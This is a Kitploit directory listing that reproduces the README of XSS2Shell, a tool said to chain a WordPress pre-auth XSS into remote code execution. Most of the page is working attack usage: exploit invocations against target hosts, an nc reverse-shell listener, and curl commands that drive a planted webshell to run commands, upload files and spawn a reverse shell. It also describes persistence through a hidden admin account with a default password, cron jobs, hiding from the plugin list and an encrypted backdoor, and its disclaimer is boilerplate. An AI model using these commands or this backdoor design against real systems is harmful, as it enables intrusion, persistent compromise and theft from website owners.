Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
XSS2Shell — Exploits WordPress pre-auth XSS (CVE-2026-64638) to achieve remote code execution, installing an AES-encrypted backdoor webshell with persistence, file upload, reverse shell, and stealth options for authorized red-team engagements. | Kitploit
Tools/GitHubGitHub/g0d150ne/xss2shell
Persistence MechanismsExploitationWeb Application ExploitationInformation GatheringPost-ExploitationCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubg0d150ne/xss2shell

XSS2Shell

Exploits WordPress pre-auth XSS (CVE-2026-64638) to achieve remote code execution, installing an AES-encrypted backdoor webshell with persistence, file upload, reverse shell, and stealth options for authorized red-team engagements.

629 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
Share

XSS2Shell ULTIMATE v3.0

WordPress Pre-Auth XSS → RCE Chain Exploit
Developed by G0D150NE

📌 Features

  • 🔍 Auto-detect XSS & WordPress version
  • 🎯 3 Modes: Auto, XSS, Direct
  • 📡 Callback server to capture credentials
  • 🐚 WebShell with multiple execution methods
  • 🔄 Persistence (cron job, hidden admin, self-replicate)
  • 📁 File upload/download
  • 🖥️ One-click reverse shell
  • 🛡️ Stealth mode (hide from plugin list)
  • 🔐 AES-256 encrypted backdoor

📦 Installation

root@kitploit:~
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell

# Install dependencies
pip3 install requests beautifulsoup4 cryptography

# Run
python3 poc.py -h

🚀 Quick Start

1. Setup Listener

root@kitploit:~
# Open terminal for reverse shell
nc -lvnp 4444

2. Run Exploit

Auto Mode (Recommended)

root@kitploit:~
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100

XSS Mode (No Credentials)

root@kitploit:~
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100

Direct Mode (With Credentials)

root@kitploit:~
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100

🔧 Command Execution

After webshell installed:

root@kitploit:~
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)

# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'

# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php

# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'

🎯 Usage Examples

root@kitploit:~
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5

# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5

# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor

# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass

# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999

📝 Command Options

OptionDescriptionDefault
targetTarget WordPress URLRequired
-u, --usernameWordPress admin username-
-p, --wp-passWordPress admin password-
--lhostListener IP address127.0.0.1
--lportListener port4444
--modeExploit mode (auto/xss/direct)auto
--slugPlugin slug nameg0d150ne
--callback-portCallback server port9090
--backdoor-passBackdoor passwordG0D150NE

🐚 WebShell Features

After successful exploit:

FeatureCommand
Execute Command?b2h=BASE64_CMD
Upload File-F '[email protected]'
Reverse Shell?rev=1
Plain Command?cmd=id
Encrypted Backdoor?decrypt=AES_DATA

Hidden Admin Created:

  • Username: sysadmin_{slug}
  • Password: {backdoor-pass} (default: G0D150NE)

📸 Example Output

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  Target   : http://wordpress-site.com
║  Attacker : 192.168.1.100:4444
║  Plugin   : g0d150ne
║  Mode     : AUTO
╚══════════════════════════════════════════════════════════════════╝

[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)

╔══════════════════════════════════════════════════════════════════╗
║  [+] EXPLOIT SUCCESSFUL                                          ║
╠══════════════════════════════════════════════════════════════════╣
║  WEBSHELL:                                                       ║
║    http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php    ║
║  ADMIN USER CREATED:                                             ║
║    Username: sysadmin_g0d150ne                                   ║
║    Password: G0D150NE                                            ║
╚══════════════════════════════════════════════════════════════════╝

🔧 Troubleshooting

ProblemSolution
ModuleNotFoundErrorpip3 install requests beautifulsoup4 cryptography
Connection refusedCheck listener: nc -lvnp 4444
Login failedVerify credentials or use XSS mode
Plugin upload failedCheck permissions, use different slug
Argument conflictUse -p for wp-pass, --backdoor-pass for backdoor

⚠️ Disclaimer

For educational and authorized testing only.
Use only on systems you own or have explicit permission to test.
The author is not responsible for any misuse or damage.

📞 Contact

  • Author: G0D150NE
  • CVE: CVE-2026-64638
root@kitploit:~
Download Tool